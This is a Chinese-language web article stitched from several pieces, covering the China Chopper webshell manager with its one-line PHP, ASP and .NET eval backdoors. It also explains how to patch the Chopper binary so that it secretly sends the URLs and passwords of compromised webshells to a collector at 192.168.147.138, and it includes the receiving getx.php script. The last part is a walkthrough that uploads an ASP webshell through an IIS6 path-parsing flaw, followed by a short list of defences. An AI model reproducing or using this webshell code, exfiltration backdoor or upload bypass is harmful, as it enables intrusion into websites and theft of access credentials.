中国菜刀的功能介绍:

中国菜刀的功能介绍:,第1张

只要支持动态脚本的网站,都可以用中国菜刀来进行管理!主要功能有:文件管理,虚拟终端,数据库管理。

UINCODE方式编译,支持多国语言输入显示。

一、EVAL客户端部分

1)要了解的

服务端只需要简单的一行代码,即可用此程序实现常用的管理功能。

支持的服务端脚本:PHP, ASP,NET。

在服务端运行的代码如下:

PHP: <?php @eval($_POST['pass'])?>

ASP: <%eval request(pass)%>

.NET: <%@ Page Language=Jscript%><%eval(Request.Item[pass],unsafe)%>

(注意: .NET要单独一个文件或此文件也是Jscript语言)

2)怎么用

在主视图中右键/添加,在d出的对话框中输入服务端地址,连接的密码(请注意上例中的pass字串),选择正确的脚本类型和语言编码,保存后即可使用文件管理,虚拟终端,数据库管理三大块功能。要是其它都没错误,那么可能就是你把语言编码选错了。

1. 文件管理:[特色]缓存下载目录,并支持离线查看缓存目录

2.虚拟终端:[特色]人性化的设计, *** 作方便(输入HELP查看更多用法)

3.数据库管理:[特色]图形界面,支持MYSQL,MSSQL,ORACLE,INFOMIX,ACCESS

以入支持ADO方式连接的数据库。

(各种脚本条件下的数据库连接方法请点击数据库管理界面左上角处的配置按钮查看)

注意:由于服务器的安全设置,某些功能可能不能正常使用。

3) 关于配置信息怎么填?

A) 数据库方面:

PHP脚本:

<T>类型</T>类型可为MYSQL,MSSQL,ORACLE,INFOMIX中的一种

<H>主机地址<H>主机地址可为机器名或IP地址,如localhost

<U>数据库用户</U>连接数据库的用户名,如root

<P>数据库密码</P>连接数据库的密码,如123455

ASP和.NET脚本:

<T>类型</T>类型只能填ADO

<C>ADO配置信息</C>

ADO连接各种数据库的方式不一样。如MSSQL的配置信息为

Driver={Sql Server}Server=(local)Database=masterUid=saPwd=123456

B) 其它方面:

添加额外附加提交的数据:应付这种情况:if ($_POST['action']=='test'){@eval($_POST['pass'])}

<O>action=test</O>

提交功能前先POST额外的数据包:会话期间只提交一次。

<DATA>uid=user1&pwd=123456</DATA>

二、网站蜘蛛

织出一张网站的目录结构。

下载的列表文件存在桌面,右键菜单/载入URL列表即可以根据地址得到目录结构。

三、定时提醒

当闹钟事使吧, 周期:每月/每周/每日/只一次。

四、快速启动

一些常用的快捷方式放在这里,可以指定用户身份运行程序。这部分数据是以加密存储的。

五、浏览器

地址栏输入HELP,更多精彩后续加入。

六、其它部分

等待加入。

附带工具

update.exe是wsc.exe的数据库wscdb迁移到菜刀的一个小工具。

把wscdb文件整到当前目录,运行update.exe得到新的数据库文件caidao.mdb

把菜刀的数据库db.mdb替换掉即可。

1、后门如何触发

这里要先讲下菜刀的后门是如何触发的,知道如何触发后门,后面按这个思路往下看会方便些。

当一句话连回目标服务器时,我们经常会在文件列表中右键查看文件,如下图

当我们执行右键-编辑文件时,我们的后门就会被触发(我们要添加的就是这样的一个隐藏后门)。

2、菜刀脱壳

在分析菜刀前,先把菜刀的壳脱掉,使用Peid可知,菜刀是UPx壳,网上找个Upx的脱壳工具即可脱壳。

3、查看数据包,分析流程(右键-编辑)

本地搭建好环境后,在菜刀中右键-编辑查看某一文件,使用burpsuite进行抓包,

数据如下

a=%40eval%01%28base64_decode%28%24_POST%5Bz0%5D%29%29%3B&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRj1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JFA9QGZvcGVuKCRGLCJyIik7ZWNobyhAZnJlYWQoJFAsZmlsZXNpemUoJEYpKSk7QGZjbG9zZSgkUCk7O2VjaG8oInw8LSIpO2RpZSgpOw%3D%3D&z1=QzpcXHdhbXBcXHd3d1xccm9ib3RzLnR4dA%3D%3D

一共有3个参数,

a url解码后为@eval (base64_decode($_POST[z0]))

z0先url解码,在base64解码为

@ini_set("display_errors","0")@set_time_limit(0)@set_magic_quotes_runtime(0)echo("->|")$F=base64_decode($_POST["z1"])$P=@fopen($F,"r")echo(@fread($P,filesize($F)))@fclose($P)echo("|<-")die()

Z1先url解码,在base64解码为

C:\\wamp\\www\\robots.txt

稍微熟悉php的人应该能看出来,这段代码就是一个读文件的php脚本,由菜刀发送到目标服务器上,然后在目标服务器上执行的。 既然代码作为字符串发送带目标服务器上,那我我们可以再字符串上添加我们想执行的代码,由菜刀一起发送过去执行。

if(@$_COOKIE['f1']!=95){@setcookie('f1',95)@file_get_contents('http://192.168.147.138/getx.php?caidao='.$_SERVER[HTTP_HOST].$_SERVER[REQUEST_URI].'_P='.key($_POST))}

如果我们将上这段代码作为字符串,发送到服务端执行,我们就能获得webshell的地址和密码。

4、使用OD分析

使用OD打开中国菜刀,右键搜索字符串,结果如下:

定位到php读取文的字符串处,点击进去到代码处

可知,程序时将其作为字符串,压入栈中作为参数被后续函数处理的,如果在这段字符串后加入我们的后门代码,就会被程序一块发送到服务端执行。

5、修改菜刀程序文件

由上可知,字符串的地址为0x49ba94,查看内存数据,

发现其后面已经被他字符串占用(直接查看原二进制文件结果也是如此),如果我们强制在后面添加后门字符串,就会破坏远程的某些内容。因此我们需要另外找一个空闲的大空间,将后门代码放在此处。

这里我们选取地址4841d0h的空间,转化为文件偏移即为841d0h。

将后门字符串

$F=base64_decode($_POST["z1"])$P=@fopen($F,"r")echo(@fread($P,filesize($F)))@fclose($P)if(@$_COOKIE['f1']!=95){@setcookie('f1',95)@file_get_contents('http://192.168.147.138/getx.php?caidao='.$_SERVER[HTTP_HOST].$_SERVER[REQUEST_URI].'_P='.key($_POST))}

放到文件841d0处

打开010editor 将上述字符串复制到010editor中,

由于程序中的字符串是双字节存放的,这里我们需要将后门代码也转化为双字节的。010ditor-工具-转换

使用010editor打开菜刀程序,跳到841d0h偏移处,将转换后的字符串覆盖替换菜刀程序中相同大小的数据长度,

保存文件,这样后门字符串就被我们添加到程序中了。

6、使用OD修改程序代码

用OD打开菜刀程序,定位到第4步中字符串入栈的代码处 push 0049bae4。

0049bae4地址是修改前字符串的位置,现在我们将其改成我们添加的字符串的地质处,字符串文件偏移为841d0h,转化内存偏移为4841d0h,代码修改如下

保存修改的文件即可。

7、测试修改结果

修改文件后,我们在看看菜刀-右键编辑,抓到数据包

Z0解密后为

@ini_set("display_errors","0")@set_time_limit(0)@set_magic_quotes_runtime(0)echo("->|")$F=base64_decode($_POST["z1"])$P=@fopen($F,"r")echo(@fread($P,filesize($F)))@fclose($P)if(@$_COOKIE['f1']!=95){@setcookie('f1',95)@file_get_contents('http://192.168.147.138/getx.php?caidao='.$_SERVER[HTTP_HOST].$_SERVER[REQUEST_URI].'_P='.key($_POST))}echo("|<-")die()

可见我们的后门代码也一起被发送到服务端执行了。

编写加单的getx.php接收结果,

getx.php:

<?php

$getx = $_GET["caidao"]

$file = fopen("getx.txt","a+")

fwrite($file,$getx)

fwrite($file,"\r\n")

fclose($file)

?>

结果如下:

8、后记

通过测试可知,对于asp,aspx跟php后门的添加相似,都可以实现。Jsp木马形式不一,实现添加后门较为困难。另外,由于后门是在服务端执行的,所以不容易被发现,本地抓包是检测不到后门的;OD中右键查看后门地址也是不能直接看到的。

上传正常图片和WEBShell

准备一张普通的图片,使用*.jpg在电脑上进行搜索,可以看到很多图片,复制一张图片放到桌面上,改名为tupian.jpg。

打开上传地址,选取上传图片。

小i提示:

上传地址就是可以上传文件的地方

本次实验用的测试网址http://www.test.com作为目标网站

上传成功后,观察返回的页面信息

小i提示:

观察红字部分(上传是否成功,成功为 Upload Successful ,失败这一行会显示失败信息)

观察蓝字部分(上传成功后文件的路径),它的名字是时间戳(通常是一个数字序列,唯一地标识某一刻的时间)加自己的尾缀

准备的是ASP环境,需要使用ASP的一句话,接着来制作一句话,新建一个空文本文档,将ASP的一句话写入到文本中,修改文件名为yijuhua.ASP并保存到桌面。

小i提示:

一句话是一种常见的网站后门,短小精悍,而且功能强大,隐蔽性非常好,在渗透测试过程中始终扮演着强大的作用。

不同的环境需要选取与环境匹配的一句话,一句话中<%eval request[‘这里是密码’]%>,本例中我们以

1 为密码。

上传ASP文件,发现提示错误信息:White List Match Failed--asp ,可能服务器端禁止了尾缀asp的文件上传。

2

利用IIS6解析缺陷绕过上传检测

首先打开BurpLoader,选择 Proxy->Options ,设置BurpLoader代理地址,默认为127.0.0.1、端口:8080。

接着修改Firefox的代理设置,修改代理地址以及端口(设置与在BurpLoader中设置的代理地址相同:127.0.0.1、端口:8080)。

小i提示:

不同浏览器设置代理的方法不相同, 但是设置位置基本类似,此处我们以火狐浏览器为例,首先点击右上角的工具->选项->网络->设置->手动配置代理,填入BurpLoader中设置的代理地址。

设置好浏览器代理后,我们再打开BurpLoader抓包,暂时截获浏览器给服务器发送的数据包,Proxy->Intercept 点击

intercept off 改为intercept on,截获的数据包将在关闭抓包的时候发送给服务端。

查看数据包:其中Content-Disposition:form-dataname=”path”下面的一行为服务保存文件的相对路径,我们把原本的

uploading/ 改为 uploadimg/1.asp。

小i知识点:

本例用了IIS6.0目录路径检测解析,文件的名字为“*.asp/xxx.jpg”,也同样会被 IIS 当作 ASP文件来解析并执行

首先我们请求 /aaa.asp/xxxx.jpg

从头部查找查找 "."号,获得 .asp/xxxx.jpg

查找"/",如果有则内存截断,所以/aaa.asp/xxxx.jpg会当做/aaa.asp进行解析

修改完成后,关闭抓包(点击intercept on ->intercept off),上传数据,查看浏览器发现上传成功,复制File Name后面的信息(例如:1.asp14127900008.asp );在前面添加上uploadimg/粘贴复制到网站地址后面,从而构造访问地址(例如:http://www.test.com/uploadimg/1.asp14127900008.asp

),并复制访问地址。

3

获取WEBShell权限

打开中国菜刀软件并填入复制的访问地址,填入你设定的密码,之前我们在“一句话”中设置的密码是1,选择脚本类型为ASP,单击添加按钮,就会看到菜刀上出现一行信息,最后我们双击这条信息后,就可以看到目标网站的目录,这样我们就成功获取到目标网站的WEBShell权限。

小i 知识点:

中国菜刀,是一款专业的网站管理软件,用途广泛,使用方便,小巧实用。只要支持动态脚本的网站,都可以用中国菜刀与一句话协作来进行管理

这里可以看见我们刚刚上传的文件,其中有一个空文件夹1.asp以及其它我们上传的文件。

4

防御方案

1.客户端检测,使用JS对上传图片检测,包括文件大小、文件扩展名、文件类型等

2.服务端检测,对文件大小、文件路径、文件扩展名、文件类型、文件内容检测,对文件重命名

3.其他限制,服务器端上传目录设置不可执行权限


欢迎分享,转载请注明来源:内存溢出

原文地址: https://outofmemory.cn/bake/11619323.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2023-05-17
下一篇 2023-05-17

发表评论

登录后才能评论

评论列表(0条)

保存